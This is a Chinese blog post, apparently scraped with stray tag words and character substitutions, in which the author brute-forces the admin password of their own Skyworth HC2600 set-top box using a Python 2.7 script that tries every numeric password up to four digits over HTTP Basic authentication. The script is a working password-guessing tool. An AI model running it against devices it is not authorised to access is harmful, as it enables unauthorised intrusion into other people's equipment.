[小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码

家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,而且每一个机顶盒还带有无线路由器功能。python

免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 2.4 GHz 频段下 802.11n 150 Mbps 速率的传输。2.4 GHz 频段原本就很拥挤,用户体验并很差,要是和支持 802.11 ac 的双频无线路由器混用的话,恐怕反而会由于干扰起到副作用。浏览器

然而要对 HC2600 机顶盒做任何配置修改,都须要管理员密码。网上搜索到 HC2600 的管理员用户名貌似是 admin (后来证明也的确如此),可是密码则没法肯定。socket

因此我就编写了一个 Python 脚本进行暴力尝试。破解步骤以下:url

首先把电脑经过网线链接到机顶盒的 Ethernet 接口,电脑会经过 DHCP 自动获取获得 IP 地址。spa

而后安装最新版的 Python 2.7,而且新建一个文件 tvbox.py 输入如下内容:code

import base64, socket, urllib2

def login(url, username, password):
    while True:
        try:
            request1 = urllib2.Request(url)
            response1 = urllib2.urlopen(request1, timeout = 2) # 2 seconds
        except socket.timeout, e: # timeout handler for Python 2.7
            print "Login timedout"
            continue
        except urllib2.URLError, e:
            if e.code != 401:
                raise
            else:
                break

    while True:
        try:
            request2 = urllib2.Request(url)
            base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')
            request2.add_header("Authorization", "Basic %s" % base64string)
            response2 = urllib2.urlopen(request2, timeout = 2) # 2 seconds
            return True
        except socket.timeout, e: # timeout handler for Python 2.7
            print "Login timedout"
            continue
        except urllib2.URLError, e:
            if e.code == 401:
                return False

def main():
    for length in range(1, 5):
        end = 10 ** length

        print "Trying length %d (start = 0, end = %d)" % (length, end)

        for i in range(0, end):
            pattern = "%%0%dd" % length
            password = pattern % i

            if login("http://192.168.99.1", "admin", password):
                print "Password found: %s" % password
                break
            else:
                print "%s" % password

main()

上面的文件中,假定机顶盒中路由器的地址是 192.168.99.1,若是你的配置不一样,须要修改  tvbox.py 中第 41 行代码。blog

肯定无误后,运行 tvbox.py 便可。接口

上面的脚本尝试了 0-九、00-9九、000-99九、0000-9999 这 11110 个纯数字密码,目测破解速度在每秒 100 次左右。路由

PS:若是使用浏览器尝试登陆,密码错误三次后须要刷新才能继续尝试。这是浏览器设定的限制,使用脚本的话并无这样的限制。string

……

结果出乎意料,很快密码就出来了:0000,多亏了安装人员图省事。要是真的要扫遍 8 位纯数字密码的全部可能性,恐怕要花十几天。

小提示:上面的脚本只适用于 Python 2.7,若是你用的是其它版本,可能须要对代码作少量修改。

相关文章
相关标签/搜索